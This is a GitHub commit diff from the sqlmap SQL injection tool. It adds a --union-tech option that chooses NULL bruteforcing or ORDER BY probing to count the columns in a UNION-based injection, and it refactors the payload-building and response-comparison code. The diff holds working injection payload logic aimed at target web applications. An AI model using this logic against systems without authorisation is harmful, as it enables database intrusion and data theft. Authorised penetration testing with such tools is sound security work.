Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 4ae464c

Browse files
committed
Minor enhancement to support an option (--union-tech) to specify the
technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause.
1 parent f92b76a commit 4ae464c

6 files changed

Lines changed: 105 additions & 33 deletions

File tree

doc/ChangeLog

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,18 @@
11
sqlmap (0.6.4-1) stable; urgency=low
22

3-
* Major improvement to the comparison algorithm to make it work also if
4-
the page content changes at each refresh; (work in progress)
3+
* Major enhancement to make the comparison algorithm work properly also
4+
on url not stables automatically by using the difflib Sequence Matcher
5+
object;
56
* Major enhancement to support SQL data definition statements, SQL data
67
manipulation statements, etc from user in SQL query and SQL shell if
78
stacked queries are supported by the web application technology in
89
use;
910
* Minor enhancement to support an option (--is-dba) to show if the
1011
current user is a database management system administrator;
12+
* Minor enhancement to support an option (--union-tech) to specify the
13+
technique to use to detect the number of columns used in the web
14+
application SELECT statement: NULL bruteforcing (default) or ORDER BY
15+
clause;
1116
* Added support internally to forge CASE statements, used only by
1217
--is-dba query at the moment;
1318
* Major bug fix to avoid tracebacks when multiple targets are specified

lib/core/option.py

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -239,6 +239,25 @@ def __setGoogleDorking():
239239
raise sqlmapGenericException, errMsg
240240

241241

242+
def __setUnionTech():
243+
if not conf.uTech:
244+
conf.uTech = "bf"
245+
246+
return
247+
248+
if conf.uTech and conf.uTech not in ( "bf", "ob" ):
249+
infoMsg = "resetting the UNION query detection technique to "
250+
infoMsg += "'bf', '%s' is not a valid technique" % conf.uTech
251+
logger.info(infoMsg)
252+
253+
conf.uTech = "bf"
254+
255+
else:
256+
debugMsg = "setting UNION query detection technique to "
257+
debugMsg += "'%s'" % conf.uTech
258+
logger.debug(debugMsg)
259+
260+
242261
def __setDBMS():
243262
"""
244263
Force the back-end DBMS option.
@@ -741,6 +760,7 @@ def init(inputOptions=advancedDict()):
741760
__setHTTPProxy()
742761
__setThreads()
743762
__setDBMS()
763+
__setUnionTech()
744764
__setGoogleDorking()
745765
__setMultipleTargets()
746766
__urllib2Opener()

lib/core/optiondict.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,7 @@
6363
"stackedTest": "boolean",
6464
"timeTest": "boolean",
6565
"unionTest": "boolean",
66+
"uTech": "string",
6667
"unionUse": "boolean",
6768
},
6869

lib/parse/cmdline.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -169,6 +169,9 @@ def cmdLineParser():
169169
action="store_true",
170170
help="Test for UNION query (inband) SQL injection")
171171

172+
techniques.add_option("--union-tech", dest="uTech",
173+
help="Technique to test for UNION query SQL injection")
174+
172175
techniques.add_option("--union-use", dest="unionUse",
173176
action="store_true",
174177
help="Use the UNION query (inband) SQL injection "

lib/techniques/inband/union/test.py

Lines changed: 67 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -33,14 +33,34 @@
3333
from lib.request.connect import Connect as Request
3434

3535

36-
def __effectiveUnionTest(query, comment):
36+
def __forgeUserFriendlyValue(payload):
37+
value = ""
38+
39+
if kb.injPlace == "GET":
40+
value = "%s?%s" % (conf.url, payload)
41+
elif kb.injPlace == "POST":
42+
value = "URL:\t'%s'" % conf.url
43+
value += "\nPOST:\t'%s'\n" % payload
44+
elif kb.injPlace == "Cookie":
45+
value = "URL:\t'%s'" % conf.url
46+
value += "\nCookie:\t'%s'\n" % payload
47+
elif kb.injPlace == "User-Agent":
48+
value = "URL:\t\t'%s'" % conf.url
49+
value += "\nUser-Agent:\t'%s'\n" % payload
50+
51+
return value
52+
53+
54+
def __unionTestByNULLBruteforce(comment):
3755
"""
3856
This method tests if the target url is affected by an inband
3957
SQL injection vulnerability. The test is done up to 50 columns
4058
on the target database table
4159
"""
4260

43-
resultDict = {}
61+
columns = None
62+
value = None
63+
query = agent.prefixQuery(" UNION ALL SELECT NULL")
4464

4565
for count in range(0, 50):
4666
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
@@ -53,32 +73,38 @@ def __effectiveUnionTest(query, comment):
5373
query += " FROM DUAL"
5474

5575
commentedQuery = agent.postfixQuery(query, comment)
56-
payload = agent.payload(newValue=commentedQuery)
57-
newResult = Request.queryPage(payload, getSeqMatcher=True)
76+
payload = agent.payload(newValue=commentedQuery)
77+
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
5878

59-
if not newResult in resultDict.keys():
60-
resultDict[newResult] = (1, commentedQuery)
61-
else:
62-
resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)
79+
if seqMatcher >= 0.6:
80+
columns = count + 1
81+
value = __forgeUserFriendlyValue(payload)
82+
83+
break
6384

64-
if count > 3:
65-
for ratio, element in resultDict.items():
66-
if element[0] == 1 and ratio > 0.5:
67-
if kb.injPlace == "GET":
68-
value = "%s?%s" % (conf.url, element[1])
69-
elif kb.injPlace == "POST":
70-
value = "URL:\t'%s'" % conf.url
71-
value += "\nPOST:\t'%s'\n" % element[1]
72-
elif kb.injPlace == "Cookie":
73-
value = "URL:\t'%s'" % conf.url
74-
value += "\nCookie:\t'%s'\n" % element[1]
75-
elif kb.injPlace == "User-Agent":
76-
value = "URL:\t\t'%s'" % conf.url
77-
value += "\nUser-Agent:\t'%s'\n" % element[1]
85+
return value, columns
7886

79-
return value
8087

81-
return None
88+
def __unionTestByOrderBy(comment):
89+
columns = None
90+
value = None
91+
92+
for count in range(1, 51):
93+
query = agent.prefixQuery(" ORDER BY %d" % count)
94+
orderByQuery = agent.postfixQuery(query, comment)
95+
payload = agent.payload(newValue=orderByQuery)
96+
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
97+
98+
if seqMatcher >= 0.6:
99+
columns = count
100+
elif columns:
101+
value = __forgeUserFriendlyValue(prevPayload)
102+
103+
break
104+
105+
prevPayload = payload
106+
107+
return value, columns
82108

83109

84110
def unionTest():
@@ -87,19 +113,29 @@ def unionTest():
87113
SQL injection vulnerability. The test is done up to 3*50 times
88114
"""
89115

116+
if conf.uTech == "ob":
117+
technique = "ORDER BY clause"
118+
else:
119+
technique = "NULL bruteforcing"
120+
90121
logMsg = "testing inband sql injection on parameter "
91-
logMsg += "'%s'" % kb.injParameter
122+
logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
92123
logger.info(logMsg)
93124

94-
value = ""
95-
96-
query = agent.prefixQuery(" UNION ALL SELECT NULL")
125+
value = ""
126+
columns = None
97127

98128
for comment in (queries[kb.dbms].comment, ""):
99-
value = __effectiveUnionTest(query, comment)
129+
if conf.uTech == "ob":
130+
value, columns = __unionTestByOrderBy(comment)
131+
else:
132+
value, columns = __unionTestByNULLBruteforce(comment)
133+
134+
print value
135+
print columns
100136

101-
if value:
102-
setUnion(comment, value.count("NULL"))
137+
if columns:
138+
setUnion(comment, columns)
103139

104140
break
105141

sqlmap.conf

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -142,6 +142,13 @@ timeTest = False
142142
# Valid: True or False
143143
unionTest = False
144144

145+
# Technique to test for UNION query SQL injection
146+
# The possible techniques are by NULL bruteforcing (bf) or by ORDER BY
147+
# clause (ob)
148+
# Valid: bf, ob
149+
# Default: bf
150+
uTech = bf
151+
145152
# Use the UNION query (inband) SQL injection to retrieve the queries
146153
# output. No need to go blind.
147154
# Valid: True or False

0 commit comments

Comments
 (0)